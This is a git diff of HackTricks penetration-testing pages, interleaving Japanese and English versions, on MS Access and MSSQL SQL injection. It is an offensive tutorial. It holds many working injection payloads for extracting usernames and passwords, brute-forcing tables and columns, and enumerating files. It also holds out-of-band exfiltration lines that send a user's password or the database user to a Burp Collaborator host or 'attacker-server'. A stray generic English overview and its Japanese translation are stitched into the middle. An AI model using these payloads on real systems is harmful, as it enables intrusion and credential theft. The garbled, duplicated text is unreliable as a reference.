* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,170 +1,107 @@
# MS Access SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## オンラインプレイグラウンド
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DBの制限事項
## DB Limitations
### 文字列の連結
### String Concatenation
文字列の連結は、`& (%26)`および`+ (%2b)`文字を使用して可能です。
文字列の連結は `& (%26)` および `+ (%2b)` 文字を使用して可能です。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### コメント
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。
MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです:
```sql
1' union select 1,2 from table%00
```
もしこれがうまくいかない場合は、クエリの構文を修正することもできます:
この方法がうまくいかない場合は、クエリの構文を修正することができます:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### スタックされたクエリ
### スタッククエリ
サポートされていません。
### LIMIT
**`LIMIT`**演算子は**実装されていません**。ただし、`TOP`演算子を使用してSELECTクエリの結果を**最初のN行に制限することが可能**です。`TOP`は、返される行数を表す整数を引数として受け入れます。
**`LIMIT`** 演算子は **実装されていません**。ただし、**`TOP` 演算子を使用して最初の N テーブル行に SELECT クエリの結果を制限することは可能です**。`TOP` は、返される行数を表す整数を引数として受け取ります。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
**TOP**と同様に、**`LAST`**を使用して**最後からの行**を取得できます。
Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNIONクエリ/サブクエリ
## UNION クエリ/サブクエリ
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリをいかにして実行するかを考えることになります。MS Accessでは、**サブクエリや追加のクエリでは`FROM`が指定されている必要があります**。\
したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件で括弧内に`SELECT`を実行したい場合は、常に**有効なテーブル名を指定する必要があります**。\
したがって、**有効なテーブル名**を知る必要があります。
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、**サブクエリや追加のクエリでは`FROM`を指定する必要があります**。\
したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を指定する必要があります**。\
そのため、**有効なテーブル名**を知っておく必要があります。
```sql
-1' UNION SELECT username,password from users%00
```
### チェーンの等号 + サブストリング
### Chaining equals + Substring
{% hint style="warning" %}
これにより、現在のテーブルの値を取得することができますが、テーブル名を知る必要はありません
これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます
{% endhint %}
**MS Access** は **`'1'=2='3'='asd'=false`** などの **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用することができます。
**MS Access** は **奇妙な構文** を許可します、例えば **`'1'=2='3'='asd'=false`**。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、それを悪用できます。
MS AccessデータベースでSQLiがあるとし、1つの **カラム名がusername** であることを知っている(または推測している)場合、それが **`exfiltrate`** したいフィールドであるとします。チェーンの等号テクニックが使用されたときのWebアプリの異なる応答をチェックし、**`Mid`** 関数を使用して **サブストリング** を取得する **ブールインジェクション** を使用してコンテンツを **`exfiltrate`** することができます。
MS AccessデータベースにSQLiがあり、1つの **カラム名がusername** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのWebアプリの異なる応答を確認し、**`Mid`** 関数を使用して部分文字列を取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
```sql
'=(Mid(username,1,3)='adm')='
```
もし**テーブルの名前**と**ダンプする列**がわかっている場合は、`Mid`、`LAST`、`TOP`の組み合わせを使用して、ブール型SQLiを介してすべての情報を**漏洩**することができます。
もし**テーブルの名前**と**カラム**をダンプすることがわかっていれば、`Mid`、`LAST`、および`TOP`の組み合わせを使用して、ブールSQLiを介して**すべての情報を漏洩**させることができます:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_オンラインプレイグラウンドで確認してみてください。_
_Feel free to check this in the online playground._
### テーブル名の総当たり攻撃
### テーブル名のブルートフォース
チェーンイコールテクニックを使用して、次のように**テーブル名を総当たり攻撃**することもできます:
チェイニングイコール技術を使用すると、次のように**テーブル名をブルートフォース**することもできます:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
```md
## MS Access SQL Injection
### Introduction
In Microsoft Access databases, SQL injection can be performed using the same techniques as in other database systems. However, there are some differences in syntax and behavior that need to be considered when conducting SQL injection attacks against MS Access databases.
### Identifying MS Access
To determine if a website is using an MS Access database, you can look for file extensions like `.mdb` or `.accdb` in the URL or in error messages. Additionally, you can try injecting SQL commands to see if the database responds in a way that is consistent with MS Access.
### Basic SQL Injection
Basic SQL injection in MS Access involves manipulating SQL queries to extract, modify, or delete data from the database. This can be done by injecting SQL commands into input fields or parameters vulnerable to injection.
### Union-Based SQL Injection
Union-based SQL injection can be used in MS Access by injecting `UNION SELECT` statements into vulnerable input fields to retrieve data from other tables in the database.
### Error-Based SQL Injection
Error-based SQL injection in MS Access involves injecting SQL code that triggers database errors, revealing information about the database structure or data.
### Time-Based Blind SQL Injection
Time-based blind SQL injection can also be performed in MS Access by injecting SQL code that causes a delay in the database response, allowing an attacker to infer information based on the delay.
### Conclusion
SQL injection in MS Access databases follows similar principles to other databases, but understanding the specific syntax and behavior of MS Access is crucial for successful exploitation.
```
```html
<!-- Translation into Japanese -->
## MS Access SQLインジェクション
### はじめに
Microsoft Accessデータベースでは、他のデータベースシステムと同様の手法を使用してSQLインジェクションを実行できます。ただし、MS Accessデータベースに対するSQLインジェクション攻撃を実行する際に考慮すべき構文や動作にはいくつかの違いがあります。
### MS Accessの特定
ウェブサイトがMS Accessデータベースを使用しているかどうかを判断するには、URLやエラーメッセージに`.mdb`や`.accdb`などのファイル拡張子が含まれているかどうかを確認できます。さらに、SQLコマンドをインジェクションして、データベースがMS Accessに特有の方法で応答するかどうかを確認することもできます。
### 基本的なSQLインジェクション
MS Accessでの基本的なSQLインジェクションは、SQLクエリを操作してデータベースからデータを抽出、変更、削除することを含みます。これは、インジェクションに対して脆弱な入力フィールドやパラメータにSQLコマンドをインジェクションすることで行うことができます。
### ユニオンベースのSQLインジェクション
ユニオンベースのSQLインジェクションは、MS Accessでも使用できます。脆弱な入力フィールドに`UNION SELECT`ステートメントをインジェクションして、データベース内の他のテーブルからデータを取得することができます。
### エラーベースのSQLインジェクション
MS AccessでのエラーベースのSQLインジェクションは、データベースエラーをトリガーするSQLコードをインジェクションして、データベース構造やデータに関する情報を明らかにします。
### 時間ベースのブラインドSQLインジェクション
時間ベースのブラインドSQLインジェクションも、MS Accessで実行することができます。データベースの応答に遅延を引き起こすSQLコードをインジェクションすることで、攻撃者はその遅延に基づいて情報を推測することができます。
### 結論
MS AccessデータベースでのSQLインジェクションは、他のデータベースと同様の原則に従いますが、MS Accessの特定の構文や動作を理解することが成功した攻撃にとって重要です。
```
```
従来の方法を使用することもできます:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Feel free to check this in the online playground._
* Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
* Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストは[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)にあります。
### Brute-Forcing Columns names
### カラム名のブルートフォース
You can **brute-force current columns names** with the chaining equals trick with:
**現在のカラム名をブルートフォース**するには、次のように等号トリックを使用できます:
```sql
'=column_name='
```
または、**group by** を使用して:
または **group by** を使用して:
```sql
-1' GROUP BY column_name%00
```
または、次のようにして、**異なるテーブル**の列名を総当たり攻撃することもできます:
または、**別のテーブル**の列名をブルートフォースすることができます:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -172,28 +109,28 @@ You can **brute-force current columns names** with the chaining equals trick wit
```
### データのダンプ
すでに、[**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在のテーブルおよび他のテーブルからデータをダンプする方法**について説明しました。しかし、他にも方法があります:
現在および他のテーブルからデータをダンプするための[**チェイニングイコールテクニック**](ms-access-sql-injection.md#chaining-equals-+-substring)についてはすでに説明しました。しかし、他にも方法があります:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
するに、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。 TOP 10演算子を利用することで、最初の10件の結果を選択することが可能です。 LASTの後に使用することで、10番目のタプルのみを考慮できます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。 MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10 演算子を利用することで、最初の10件の結果を選択できます。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。
### 時間ベース
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を参照してください。
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### その他の興味深い関数
* `Mid('admin',1,1)`位置1から長さ1の部分文字列を取得します初期位置は1
* `LEN('1234')`:文字列の長さを取得します
* `ASC('A')`文字のASCII値を取得します
* `CHR(65)`ASCII値から文字列を取得します
* `IIF(1=1,'a','b')`if then
* `COUNT(*)`:アイテムの数をカウントします
* `Mid('admin',1,1)` 位置1から長さ1の部分文字列を取得初期位置は1
* `LEN('1234')` 文字列の長さを取得
* `ASC('A')` 文字のASCII値を取得
* `CHR(65)` ASCII値から文字列を取得
* `IIF(1=1,'a','b')` if then
* `COUNT(*)` アイテムの数をカウント
## テーブルの列挙
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するクエリを確認できます。
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するためのクエリを見ることができます:
```sql
select MSysObjects.name
from MSysObjects
@ -203,40 +140,55 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
しかし、`MSysObjects` テーブルを読む権限がない場合に SQL インジェクションを見つけるのは非常に一般的です
しかし、`MSysObjects` テーブルを読み取るアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください
## ファイルシステムアクセス
### Web ルートディレクトリのフルパス
### ウェブルートディレクトリのフルパス
**Web ルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、ディレクトリパスは存在しないデータベースからデータを選択しようとして明らかにされることがあります。
**ウェブルートの絶対パスの知識はさらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access は、**Web ディレクトリのフルパス名を含むエラーメッセージ**を返します。
MS Access は **ウェブディレクトリのフルパスを含むエラーメッセージ** で応答します。
### ファイル列挙
次の攻撃ベクトルは、**リモートファイルシステム上のファイルの存在を推測する**ために使用できます。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします
次の攻撃ベクターは、**リモートファイルシステム上のファイルの存在を推測するために使用できます**。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
ファイルを列挙する別の方法は、**データベース.テーブル アイテムを指定する**ことです。**指定されたファイルが存在する場合**、MS Access は**データベース形式エラーメッセージ**を表示します。
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定すること**です。**指定されたファイルが存在する場合**、MS Access は **データベース形式エラーメッセージ** を表示します。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb ファイル名の推測
次のクエリを使用して、**データベースファイル名 (.mdb)** を推測できます。
**データベースファイル名 (.mdb)** は、次のクエリで推測できます:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
ここで、**name\[i] は .mdb ファイル名**であり、**realTable はデータベース内の存在するテーブル**です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することができます。
ここで、**name\[i] は .mdb ファイル名** であり、**realTable はデータベース内の存在するテーブル** です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することが可能です。
### .mdb パスワードクラッカー
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 の主なデータベースパスワードを回復するために使用できる無料のユーティリティです。
## 参考文献
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# MSSQLインジェクション
# MSSQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Active Directoryの列挙
## Active Directory enumeration
次のMSSQL関数を使用して、MSSQLサーバー内でSQLインジェクションを介して**ドメインユーザーを列挙する**ことが可能です:
**MSSQL**サーバー内でSQLインジェクションを使用して**ドメインユーザーを列挙する**ことが可能な場合があります。以下のMSSQL関数を使用します:
- **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名を知っている場合この例では_DOMAIN_、この関数は16進数形式で**ユーザーAdministratorのSID**を返します。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトが、**ユーザーAdministratorの一般的なIDである500**の**ビッグエンディアン形式**であることに注意してください。\
この関数を使用すると、**ドメインのIDを知ることができます**最後の4バイト以外のすべてのバイト)。
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、**0000e803**はビッグエンディアンで**1000**に等しい通常、これは作成された最初の通常のユーザーIDです。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます
* **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名この例では_DOMAIN_がわかっている場合、この関数は**ユーザーAdministratorのSID**を16進数形式で返します。これは`0x01050000000[...]0000f401`のように見え、**最後の4バイト**が**500**という数値であることに注意してください。これは**ユーザーadministratorの共通ID**です。\
この関数を使用すると、**ドメインのIDを知ることができます**最後の4バイトを除くすべてのバイト)。
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)、この場合**0000e803**はビッグエンディアンで**1000**通常、これは最初に作成された通常のユーザーIDのIDです。次に、1000から2000までのユーザーIDをブルートフォースし、ドメインのすべてのユーザー名を取得できると想像できます。例えば、次のような関数を使用して
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -29,11 +30,11 @@ user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **代替エラーベースのベクター**
## **代替エラーに基づくベクター**
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構造をしており、OR演算子に基づく変種もある。このような式を含むクエリは通常、WAFによってブロックされる。回避策として、%2b文字を使用して文字列を連結し、求めているデータでデータ型変換エラーを引き起こす特定の関数呼び出しの結果と組み合わせる
エラーに基づくSQLインジェクションは、通常、`+AND+1=@@version--`のような構文や「OR」演算子に基づくバリエーションに似ています。このような式を含むクエリは、通常WAFによってブロックされます。バイパスとして、%2b文字を使用して、求められるデータに対してデータ型変換エラーを引き起こす特定の関数呼び出しの結果と文字列を連結します
このような関数の例:
このような関数のいくつかの例:
* `SUSER_NAME()`
* `USER_NAME()`
@ -43,7 +44,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
* `TYPE_NAME()`
* `COL_NAME()`
関数 `USER_NAME()` の使用例:
関数`USER_NAME()`の使用例:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
@ -51,11 +52,11 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)--
## SSRF
これらのSSRFトリックは[こちら](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)から取得されました。
これらのSSRFトリックは[こちらから取得されました](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
サーバーで**`VIEW SERVER STATE`**権限が必要です。
サーバーで**`VIEW SERVER STATE`**権限が必要です。
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
@ -97,33 +98,33 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
`xp_dirtree`どのストアドプロシージャは、Microsoftによって公式に文書化されていませんが、MSSQL内でのネットワーク操作においてその有用性が他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな[例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)や[投稿](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)で示されているように、Out of Band Dataの情報漏洩によく使用されます。
`xp_dirtree`のようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内でのネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな[例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)や[投稿](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)で示されているように、アウトオブバンドデータの抽出にしばしば使用されます。
たとえば、`xp_dirtree`ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみ制限されています。ポート番号は変更できませんが、ネットワーク共有から読み取りを許可します。以下のSQLスクリプトでその使用法が示されています:
えば、`xp_dirtree`ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみ制限されています。ポート番号は変更できませんが、ネットワーク共有から読み取りを許可します。使用法は以下のSQLスクリプトで示されています
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
この方法は、デフォルト設定で実行されている`Windows Server 2016 Datacenter`上の`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`など、すべてのシステム構成で機能しない可能性があることに注意してください
この方法は、デフォルト設定`Windows Server 2016 Datacenter` 上で動作する `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` のようなすべてのシステム構成で機能しない可能性があることに注意が必要です
さらに、`master..xp_fileexist`や`xp_subdirs`などの代替ストアドプロシージャがあり、同様の結果を達成できます。`xp_fileexist`の詳細については、この[TechNetの記事](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)を参照してください
さらに、同様の結果を得るために使用できる代替ストアドプロシージャとして `master..xp_fileexist``xp_subdirs` があります。 `xp_fileexist` に関する詳細は、[このTechNet記事](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)で確認できます
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
明らかに、**`xp_cmdshell`**を使用しても、**SSRF**をトリガーする何かを**実行**することができます。詳細については、ページ内の関連セクションを**読んでください**
明らかに、**`xp_cmdshell`** を使用して **SSRF** をトリガーする何かを **実行** することもできます。詳細については、ページの **関連セクションを読む** してください
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQLユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL ユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
MSSQL内でカスタム関数を実行するためにCLR UDF (Common Language Runtime User Defined Function)を作成するには、任意の.NET言語で記述され、DLLにコンパイルされたコードをMSSQL内でロードする必要があります。これには`dbo`アクセス権が必要です。つまり、通常はデータベース接続が`sa`として行われるか、管理者ロールで行われる場合にのみ実現可能です。
CLR UDF共通言語ランタイムユーザー定義関数を作成することは、任意の .NET 言語で作成され、DLL にコンパイルされ、MSSQL 内でカスタム関数を実行するためにロードされるコードを必要とするプロセスであり、`dbo` アクセスが必要です。これは通常、データベース接続が `sa` または管理者ロールで行われる場合にのみ実行可能です。
Visual Studioプロジェクトとインストール手順は、[このGithubリポジトリ](https://github.com/infiniteloopltd/SQLHttp)で提供されており、CLRアセンブリとしてMSSQLにバイナリをロードすることを容易にし、MSSQL内からHTTP GETリクエストを実行できるようにします。
バイナリを CLR アセンブリとして MSSQL にロードするための Visual Studio プロジェクトとインストール手順は、[このGithubリポジトリ](https://github.com/infiniteloopltd/SQLHttp)で提供されており、これにより MSSQL 内から HTTP GET リクエストを実行できるようになります。
この機能の中心は、`http.cs`ファイルにカプセル化されており、`WebClient`クラスを使用してGETリクエストを実行し、以下に示すようにコンテンツを取得します。
この機能の核心は `http.cs` ファイルにカプセル化されており、`WebClient` クラスを使用して GET リクエストを実行し、以下のようにコンテンツを取得します:
```csharp
using System.Data.SqlTypes;
using System.Net;
@ -139,30 +140,32 @@ return new SqlString(html);
}
}
```
`CREATE ASSEMBLY` SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することが推奨されます(`select * from sys.trusted_assemblies;`を使用して表示可能)。
